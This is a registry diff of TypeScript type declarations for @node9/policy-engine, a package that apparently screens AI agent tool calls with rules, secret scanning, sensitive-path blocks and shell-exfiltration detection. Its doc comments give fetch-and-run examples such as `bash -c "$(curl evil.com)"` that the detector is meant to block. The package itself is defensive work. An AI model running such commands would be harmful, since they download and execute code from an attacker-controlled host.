@node9/policy-engine 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -0,0 +1,415 @@
1
+ /**
2
+ * A condition inside a SmartRule. The matcher evaluates each condition
3
+ * against the tool call's args, then combines them via conditionMode.
4
+ *
5
+ * Supported ops:
6
+ * matches / notMatches — regex (uses `value` + optional `flags`)
7
+ * contains / notContains — substring
8
+ * matchesGlob / notMatchesGlob — picomatch-style glob
9
+ * exists / notExists — field presence (no value needed)
10
+ */
11
+ interface SmartCondition {
12
+ field: string;
13
+ op: 'matches' | 'notMatches' | 'contains' | 'notContains' | 'exists' | 'notExists' | 'matchesGlob' | 'notMatchesGlob';
14
+ value?: string;
15
+ flags?: string;
16
+ }
17
+ /**
18
+ * A user-defined or shield-defined rule. The matcher applies it to a
19
+ * tool call; if all (or any) conditions pass, the verdict is emitted.
20
+ *
21
+ * Verdicts:
22
+ * allow — permit the call (used for explicit allowlists)
23
+ * review — send to human approval channel
24
+ * block — hard-deny, never executes
25
+ */
26
+ interface SmartRule {
27
+ name?: string;
28
+ tool: string;
29
+ conditions: SmartCondition[];
30
+ conditionMode?: 'all' | 'any';
31
+ verdict: 'allow' | 'review' | 'block';
32
+ reason?: string;
33
+ /**
34
+ * State predicates that must ALL be true for a 'block' verdict to apply.
35
+ * If any predicate is false (or the daemon is unreachable), the block is
36
+ * downgraded to a review. Ignored for 'allow' and 'review' verdicts.
37
+ */
38
+ dependsOnState?: string[];
39
+ /**
40
+ * Shell command to suggest as a recovery action when this rule hard-blocks.
41
+ * Shown to the developer on /dev/tty and passed to the AI as a hint.
42
+ * Example: "npm test"
43
+ */
44
+ recoveryCommand?: string;
45
+ /**
46
+ * Plain-English explanation of what this rule does and why it matters.
47
+ * Shown to the user in the review/block card instead of (or alongside)
48
+ * the raw command. Example: "Force push rewrites shared history and can
49
+ * permanently destroy teammates' work."
50
+ */
51
+ description?: string;
52
+ }
53
+ /**
54
+ * Result of a DLP scan — either a single match or null. The redactedSample
55
+ * is the only piece of the secret that ever leaves the scanner module;
56
+ * the raw value never appears in audit logs or SaaS payloads.
57
+ */
58
+ interface DlpMatch {
59
+ patternName: string;
60
+ fieldPath: string;
61
+ redactedSample: string;
62
+ severity: 'block' | 'review';
63
+ }
64
+ /**
65
+ * Risk metadata bundle pre-computed once per tool call and propagated to
66
+ * every approval channel: native popup, browser daemon, cloud/SaaS,
67
+ * Slack, and Mission Control.
68
+ */
69
+ interface RiskMetadata {
70
+ intent: 'EDIT' | 'EXEC';
71
+ tier: 1 | 2 | 3 | 4 | 5 | 6 | 7;
72
+ blockedByLabel: string;
73
+ matchedWord?: string;
74
+ matchedField?: string;
75
+ /** Pre-computed 7-line window with 🛑 marker on the matched line. */
76
+ contextSnippet?: string;
77
+ /** Index of the 🛑 line within the snippet (0-based). */
78
+ contextLineIndex?: number;
79
+ /** basename of file_path (EDIT intent only) */
80
+ editFileName?: string;
81
+ /** full file_path (EDIT intent only) */
82
+ editFilePath?: string;
83
+ /** Tier 2 (Smart Rules) only */
84
+ ruleName?: string;
85
+ /** Human-readable description of the matched smart rule or shield. */
86
+ ruleDescription?: string;
87
+ }
88
+
89
+ interface DlpPattern {
90
+ name: string;
91
+ regex: RegExp;
92
+ severity: 'block' | 'review';
93
+ /** Lowercase keyword substrings — if none found in the string, skip regex entirely. */
94
+ keywords?: string[];
95
+ /**
96
+ * When true, a 'review' finding is promoted to 'block' if the string is in
97
+ * assignment context (e.g. export TOKEN=..., password: ..., api_key = ...).
98
+ */
99
+ contextBoost?: boolean;
100
+ /**
101
+ * Minimum Shannon entropy (bits/char) the matched token must have.
102
+ * Suppresses obvious placeholders and sequential values (e.g. sk-aaaaaaaaaa…).
103
+ * Only set on broad patterns where the regex alone can't distinguish real secrets.
104
+ */
105
+ minEntropy?: number;
106
+ }
107
+ declare const DLP_PATTERNS: DlpPattern[];
108
+ /**
109
+ * Pure: tests an already-resolved absolute path against the sensitive-file
110
+ * blocklist. Symlink resolution is the host's job — it's I/O and lives in
111
+ * the proxy's scanFilePath wrapper.
112
+ *
113
+ * @param resolvedPath Absolute path, ideally with symlinks resolved by the host.
114
+ * @param originalPath The path as the user/agent wrote it. Used in the
115
+ * redactedSample so alerts show the original spelling.
116
+ * @returns A DlpMatch with severity 'block' if the path is sensitive, else null.
117
+ */
118
+ declare function matchSensitivePath(resolvedPath: string, originalPath: string): DlpMatch | null;
119
+ /** Exposed so the proxy's I/O wrapper can build the same fail-closed match. */
120
+ declare function sensitivePathMatch(originalPath: string): DlpMatch;
121
+ /** Exposed so the proxy can apply the same patterns directly if needed. */
122
+ declare const SENSITIVE_PATH_REGEXES: readonly RegExp[];
123
+ /**
124
+ * Recursively scans an args value for known secret patterns.
125
+ * Handles nested objects, arrays, and JSON-encoded strings.
126
+ * Returns the first match found, or null if clean.
127
+ */
128
+ declare function scanArgs(args: unknown, depth?: number, fieldPath?: string): DlpMatch | null;
129
+ /** Scan a plain text string (e.g. Claude response prose) for DLP patterns. */
130
+ declare function scanText(text: string): DlpMatch | null;
131
+ declare function redactText(text: string): {
132
+ result: string;
133
+ found: string[];
134
+ };
135
+
136
+ /**
137
+ * Normalizes a bash command string for policy rule matching by replacing
138
+ * pure-literal quoted strings that follow known message flags (e.g. -m, --body)
139
+ * with empty double-quotes. This prevents text inside commit messages and PR
140
+ * descriptions from triggering shell security rules.
141
+ *
142
+ * Unlike a regex-based approach, this uses the AST so it handles all quoting
143
+ * styles correctly and won't over-strip. Execution flags like -c and -e
144
+ * (psql, node, python) are intentionally left alone so their SQL/code
145
+ * content continues to be evaluated by smart rules.
146
+ *
147
+ * Dynamic content (CmdSubst, ParamExp) inside double-quotes is never stripped
148
+ * so patterns like `eval "$(curl evil.com)"` are always preserved.
149
+ */
150
+ declare function normalizeCommandForPolicy(command: string): string;
151
+ /**
152
+ * AST-based detection of dangerous shell execution patterns.
153
+ *
154
+ * Covers two structural patterns:
155
+ * eval $(curl evil.com) → block (CmdSubst + download tool)
156
+ * eval "$VAR" → review (ParamExp — unknown content)
157
+ * bash -c "$(curl evil.com)"→ block (shell interpreter -c + CmdSubst + download)
158
+ * bash -c "$VAR" → review (shell interpreter -c + ParamExp)
159
+ *
160
+ * Returns null for plain-literal args (no dynamic content) — these are safe.
161
+ * Cannot be fooled by quoted strings that happen to contain "eval" or "curl"
162
+ * (e.g. git commit -m "fix eval bypass" → null).
163
+ */
164
+ declare function detectDangerousShellExec(command: string): 'block' | 'review' | null;
165
+ /** @deprecated Use detectDangerousShellExec — kept for backwards compatibility */
166
+ declare const detectDangerousEval: typeof detectDangerousShellExec;
167
+ interface ShellCommandAnalysis {
168
+ /** First word of every CallExpr — the command names invoked. */
169
+ actions: string[];
170
+ /** Non-flag positional arguments — likely file paths. */
171
+ paths: string[];
172
+ /** Lowercased token bag, expanded to include split path segments and de-flagged variants. */
173
+ allTokens: string[];
174
+ }
175
+ /**
176
+ * Tokenizes a shell command into actions / paths / all-tokens for policy
177
+ * matching. Tries the AST first; if mvdan-sh fails to parse, falls back to
178
+ * a permissive regex tokenizer so dangerous-word checks still see something.
179
+ */
180
+ declare function analyzeShellCommand(command: string): ShellCommandAnalysis;
181
+
182
+ interface PipeChainAnalysis {
183
+ isPipeline: boolean;
184
+ hasSensitiveSource: boolean;
185
+ hasExternalSink: boolean;
186
+ hasObfuscation: boolean;
187
+ sourceFiles: string[];
188
+ sinkTargets: string[];
189
+ risk: 'critical' | 'high' | 'medium' | 'none';
190
+ }
191
+ /**
192
+ * Analyzes a shell command string for pipe-chain exfiltration patterns.
193
+ *
194
+ * Returns `isPipeline: false` when the command is not a pipeline, allowing
195
+ * callers to skip the result entirely for non-pipeline commands.
196
+ */
197
+ declare function analyzePipeChain(command: string): PipeChainAnalysis;
198
+
199
+ /**
200
+ * Recursively extracts every host involved in an ssh/scp/rsync invocation,
201
+ * including jump hosts from -J, ProxyJump=, and ProxyCommand=.
202
+ *
203
+ * @param tokens Pre-tokenized argv (without the binary itself)
204
+ * @returns Deduplicated list of host strings
205
+ */
206
+ declare function extractAllSshHosts(tokens: string[]): string[];
207
+ /**
208
+ * Top-level entry point: given the full command string (including the binary),
209
+ * extracts all SSH hosts.
210
+ */
211
+ declare function parseAllSshHostsFromCommand(command: string): string[];
212
+
213
+ declare const FLAGS_WITH_VALUES: Record<string, Set<string>>;
214
+ /**
215
+ * Given a list of already-tokenized arguments and the binary name,
216
+ * returns only the positional (non-flag, non-flag-value) arguments.
217
+ *
218
+ * Handles:
219
+ * -x value → skip both tokens
220
+ * --proxy=value → skip (value embedded in token)
221
+ * -xvalue → skip (fused short flag+value)
222
+ * @file → skip (curl data-from-file)
223
+ * positional → keep
224
+ */
225
+ declare function extractPositionalArgs(tokens: string[], binary: string): string[];
226
+ /**
227
+ * Extracts network target hostnames from a tokenized command.
228
+ * Strips user@host → host and host:port → host (only strips :port when port is numeric).
229
+ * Full URLs (https://...) are returned as-is.
230
+ */
231
+ declare function extractNetworkTargets(tokens: string[], binary: string): string[];
232
+
233
+ interface PolicyConfig {
234
+ policy: {
235
+ sandboxPaths: string[];
236
+ dangerousWords: string[];
237
+ ignoredTools: string[];
238
+ toolInspection: Record<string, string>;
239
+ smartRules: SmartRule[];
240
+ dlp: {
241
+ enabled: boolean;
242
+ scanIgnoredTools: boolean;
243
+ };
244
+ };
245
+ settings: {
246
+ mode: string;
247
+ };
248
+ }
249
+ interface PolicyContext {
250
+ /** "Terminal" disables most blocks (manual user typing). */
251
+ agent?: string;
252
+ /** Working directory passed through to provenance hook. */
253
+ cwd?: string;
254
+ /**
255
+ * Resolved environment block from getActiveEnvironment() in the host.
256
+ * If `requireApproval === false`, strict mode skips the catch-all review.
257
+ */
258
+ activeEnvironment?: {
259
+ requireApproval?: boolean;
260
+ };
261
+ }
262
+ type ProvenanceTrust = 'system' | 'managed' | 'user' | 'suspect' | 'unknown';
263
+ interface ProvenanceLookup {
264
+ resolvedPath: string;
265
+ trustLevel: ProvenanceTrust;
266
+ reason: string;
267
+ }
268
+ interface PolicyHostHooks {
269
+ /** Resolves an absolute binary path to a trust classification. */
270
+ checkProvenance?: (binary: string, cwd?: string) => ProvenanceLookup;
271
+ /** Returns true if the host is on the user's trusted-hosts allowlist. */
272
+ isTrustedHost?: (host: string) => boolean;
273
+ }
274
+ interface PolicyVerdict {
275
+ decision: 'allow' | 'review' | 'block';
276
+ blockedByLabel?: string;
277
+ reason?: string;
278
+ matchedField?: string;
279
+ matchedWord?: string;
280
+ tier?: 1 | 2 | 3 | 4 | 5 | 6 | 7;
281
+ ruleName?: string;
282
+ /** State predicates from the matched smart rule (only when decision is 'block'). */
283
+ dependsOnStatePredicates?: string[];
284
+ /** Recovery command to suggest when this rule hard-blocks (from SmartRule.recoveryCommand). */
285
+ recoveryCommand?: string;
286
+ /** Plain-English description of what the rule does (from SmartRule.description). */
287
+ ruleDescription?: string;
288
+ }
289
+ /**
290
+ * Checks a SQL string for dangerous unscoped mutations.
291
+ * Returns a reason string if dangerous, null if safe.
292
+ */
293
+ declare function checkDangerousSql(sql: string): string | null;
294
+ /**
295
+ * Stateless policy evaluation. Same waterfall as the original
296
+ * proxy/src/policy/index.ts:evaluatePolicy, but config + context + I/O
297
+ * hooks come in as parameters so this function works in any host.
298
+ *
299
+ * Returns 'allow' for ignored tools, the matched smart-rule verdict,
300
+ * inline-execution review, eval-detection verdict, pipe-chain verdict,
301
+ * provenance verdict, sandbox allow, dangerous-word review, or strict-mode
302
+ * fallback. See the design doc for the full tier table.
303
+ */
304
+ declare function evaluatePolicy(config: PolicyConfig, toolName: string, args?: unknown, context?: PolicyContext, hooks?: PolicyHostHooks): Promise<PolicyVerdict>;
305
+ /** Returns true when toolName matches the config's ignoredTools list. */
306
+ declare function isIgnoredTool(toolName: string, config: PolicyConfig): boolean;
307
+
308
+ /**
309
+ * Glob match a tool name against one pattern or a list, with case-insensitive
310
+ * matching and a leading-`./` tolerance: `./bin/foo` matches `bin/foo` and
311
+ * vice-versa so authoring is forgiving.
312
+ */
313
+ declare function matchesPattern(text: string, patterns: string[] | string): boolean;
314
+ /**
315
+ * Reads `obj.a.b.c` style nested keys. Returns null when any segment is
316
+ * missing or the parent isn't an object.
317
+ */
318
+ declare function getNestedValue(obj: unknown, path: string): unknown;
319
+ /**
320
+ * Evaluates a SmartRule's conditions against an args object.
321
+ * Returns true if the rule matches under its conditionMode (default: 'all').
322
+ *
323
+ * The 'command' field gets normalizeCommandForPolicy applied so quoted
324
+ * message text (commit messages, PR bodies) doesn't accidentally match.
325
+ *
326
+ * Fail-closed semantics: invalid regex patterns return false; missing fields
327
+ * + notMatchesGlob return false (an attacker cannot satisfy an allow-rule
328
+ * by omitting a field).
329
+ */
330
+ declare function evaluateSmartConditions(args: unknown, rule: SmartRule): boolean;
331
+
332
+ /**
333
+ * Validates a user-supplied regex pattern against known ReDoS vectors.
334
+ * Returns null if valid, or an error string describing the problem.
335
+ */
336
+ declare function validateRegex(pattern: string): string | null;
337
+ /**
338
+ * Compiles a regex with validation and LRU caching.
339
+ * Returns null if the pattern is invalid or dangerous (fail-closed).
340
+ */
341
+ declare function getCompiledRegex(pattern: string, flags?: string): RegExp | null;
342
+
343
+ interface ShieldDefinition {
344
+ name: string;
345
+ description: string;
346
+ aliases: string[];
347
+ smartRules: SmartRule[];
348
+ dangerousWords: string[];
349
+ }
350
+ type ShieldVerdict = 'allow' | 'review' | 'block';
351
+ type ShieldOverrides = Record<string, Record<string, ShieldVerdict>>;
352
+ declare function isShieldVerdict(v: unknown): v is ShieldVerdict;
353
+ /**
354
+ * Validates a shield definition shape. Returns the shield on success or an
355
+ * error string describing the missing/wrong field. Pure: no logging, the
356
+ * caller decides how to surface validation failures.
357
+ */
358
+ declare function validateShieldDefinition(raw: unknown): {
359
+ ok: ShieldDefinition;
360
+ } | {
361
+ error: string;
362
+ };
363
+ /**
364
+ * Validates a raw overrides object read from disk. Returns the cleaned
365
+ * overrides plus a list of warnings about dropped entries (so the host can
366
+ * decide how/whether to log them). Tampered/invalid verdicts are silently
367
+ * filtered to keep arbitrary strings out of the policy engine.
368
+ */
369
+ declare function validateOverrides(raw: unknown): {
370
+ overrides: ShieldOverrides;
371
+ warnings: string[];
372
+ };
373
+ /**
374
+ * The 11 shields shipped with node9. User shields installed at
375
+ * ~/.node9/shields/*.json are merged on top of these by the host.
376
+ */
377
+ declare const BUILTIN_SHIELDS: Record<string, ShieldDefinition>;
378
+
379
+ interface ToolCallRecord {
380
+ /** tool name */
381
+ t: string;
382
+ /** args hash (16 hex chars) */
383
+ h: string;
384
+ /** timestamp ms */
385
+ ts: number;
386
+ }
387
+ /** Hard cap on how many records we keep around — prevents unbounded growth. */
388
+ declare const LOOP_MAX_RECORDS = 500;
389
+ /** Stable hash of the tool args. Same input → same 16-char hex string. */
390
+ declare function computeArgsHash(args: unknown): string;
391
+ interface LoopWindowEvaluation {
392
+ /** Records to persist next: existing within-window entries + the new call, capped. */
393
+ nextRecords: ToolCallRecord[];
394
+ /** Number of matching (tool + hash) entries inside the window after this call. */
395
+ count: number;
396
+ /** True when count meets or exceeds the threshold — caller should treat as a loop. */
397
+ looping: boolean;
398
+ }
399
+ /**
400
+ * Pure evaluation of one tool call against the current sliding-window state.
401
+ *
402
+ * Steps:
403
+ * 1. Drop records older than (now - windowMs).
404
+ * 2. Append the new call.
405
+ * 3. Count entries matching (tool, computeArgsHash(args)).
406
+ * 4. Return the next state (capped) plus loop verdict.
407
+ *
408
+ * The host wraps this with disk read/write — see node9-proxy/src/loop-detector.ts.
409
+ */
410
+ declare function evaluateLoopWindow(records: ToolCallRecord[], tool: string, args: unknown, threshold: number, windowMs: number, now: number): LoopWindowEvaluation;
411
+
412
+ /** Engine version stamped on audit entries for future drift detection. */
413
+ declare const ENGINE_VERSION = "1.0.0";
414
+
415
+ export { BUILTIN_SHIELDS, DLP_PATTERNS, type DlpMatch, ENGINE_VERSION, FLAGS_WITH_VALUES, LOOP_MAX_RECORDS, type LoopWindowEvaluation, type PipeChainAnalysis, type PolicyConfig, type PolicyContext, type PolicyHostHooks, type PolicyVerdict, type ProvenanceLookup, type ProvenanceTrust, type RiskMetadata, SENSITIVE_PATH_REGEXES, type ShellCommandAnalysis, type ShieldDefinition, type ShieldOverrides, type ShieldVerdict, type SmartCondition, type SmartRule, type ToolCallRecord, analyzePipeChain, analyzeShellCommand, checkDangerousSql, computeArgsHash, detectDangerousEval, detectDangerousShellExec, evaluateLoopWindow, evaluatePolicy, evaluateSmartConditions, extractAllSshHosts, extractNetworkTargets, extractPositionalArgs, getCompiledRegex, getNestedValue, isIgnoredTool, isShieldVerdict, matchSensitivePath, matchesPattern, normalizeCommandForPolicy, parseAllSshHostsFromCommand, redactText, scanArgs, scanText, sensitivePathMatch, validateOverrides, validateRegex, validateShieldDefinition };